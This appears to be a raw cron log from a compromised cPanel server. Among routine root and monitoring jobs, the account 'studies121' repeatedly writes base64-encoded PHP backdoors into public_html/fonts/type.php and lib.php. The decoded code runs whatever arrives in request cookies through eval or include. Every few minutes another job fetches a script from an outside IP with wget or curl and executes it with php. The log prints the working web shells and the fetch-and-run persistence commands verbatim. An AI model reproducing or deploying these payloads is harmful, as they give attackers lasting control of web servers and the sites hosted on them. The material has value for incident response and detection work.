Aug 31 08:13:01 ip-184-168-122-23 CROND[27564]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 08:14:01 ip-184-168-122-23 CROND[27651]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 08:14:01 ip-184-168-122-23 CROND[27653]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 08:14:01 ip-184-168-122-23 CROND[27654]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 08:14:01 ip-184-168-122-23 CROND[27655]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 08:14:01 ip-184-168-122-23 CROND[27659]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 08:15:01 ip-184-168-122-23 CROND[27744]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 08:15:01 ip-184-168-122-23 CROND[27746]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 08:15:01 ip-184-168-122-23 CROND[27747]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 08:15:01 ip-184-168-122-23 CROND[27745]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 08:15:01 ip-184-168-122-23 CROND[27748]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Aug 31 08:15:01 ip-184-168-122-23 CROND[27750]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 08:15:01 ip-184-168-122-23 CROND[27749]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 08:16:01 ip-184-168-122-23 CROND[27840]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 08:16:01 ip-184-168-122-23 CROND[27841]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 08:16:01 ip-184-168-122-23 CROND[27842]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 08:16:01 ip-184-168-122-23 CROND[27845]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 08:16:01 ip-184-168-122-23 CROND[27843]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 08:16:01 ip-184-168-122-23 CROND[27847]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 08:17:01 ip-184-168-122-23 CROND[27929]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 08:17:01 ip-184-168-122-23 CROND[27931]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 08:17:01 ip-184-168-122-23 CROND[27934]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 08:17:01 ip-184-168-122-23 CROND[27935]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 08:18:01 ip-184-168-122-23 CROND[28016]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 08:18:01 ip-184-168-122-23 CROND[28019]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 08:18:01 ip-184-168-122-23 CROND[28020]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 08:18:01 ip-184-168-122-23 CROND[28021]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 08:18:01 ip-184-168-122-23 CROND[28023]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 08:19:01 ip-184-168-122-23 CROND[28130]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 08:19:01 ip-184-168-122-23 CROND[28132]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 08:19:01 ip-184-168-122-23 CROND[28133]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 08:19:01 ip-184-168-122-23 CROND[28135]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 08:20:01 ip-184-168-122-23 CROND[28325]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 08:20:01 ip-184-168-122-23 CROND[28329]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 08:20:01 ip-184-168-122-23 CROND[28328]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 08:20:01 ip-184-168-122-23 CROND[28332]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 08:20:01 ip-184-168-122-23 CROND[28336]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 08:20:01 ip-184-168-122-23 CROND[28338]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 08:20:01 ip-184-168-122-23 CROND[28337]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 08:20:01 ip-184-168-122-23 CROND[28335]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 08:20:01 ip-184-168-122-23 CROND[28339]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 08:21:01 ip-184-168-122-23 CROND[28476]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 08:21:01 ip-184-168-122-23 CROND[28478]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 08:21:01 ip-184-168-122-23 CROND[28481]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 08:21:01 ip-184-168-122-23 CROND[28480]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 08:22:02 ip-184-168-122-23 CROND[28570]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 08:22:02 ip-184-168-122-23 CROND[28572]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 08:22:02 ip-184-168-122-23 CROND[28573]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 08:22:02 ip-184-168-122-23 CROND[28574]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 08:22:02 ip-184-168-122-23 CROND[28575]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 08:23:01 ip-184-168-122-23 CROND[28672]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 08:23:01 ip-184-168-122-23 CROND[28673]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 08:23:01 ip-184-168-122-23 CROND[28674]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 08:23:01 ip-184-168-122-23 CROND[28675]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 08:24:01 ip-184-168-122-23 CROND[28765]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 08:24:01 ip-184-168-122-23 CROND[28767]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 08:24:01 ip-184-168-122-23 CROND[28769]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 08:24:01 ip-184-168-122-23 CROND[28771]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 08:24:01 ip-184-168-122-23 CROND[28772]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 08:25:01 ip-184-168-122-23 CROND[28872]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 08:25:01 ip-184-168-122-23 CROND[28874]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 08:25:01 ip-184-168-122-23 CROND[28875]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 08:25:01 ip-184-168-122-23 CROND[28876]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 08:25:01 ip-184-168-122-23 CROND[28879]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Aug 31 08:25:01 ip-184-168-122-23 CROND[28878]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
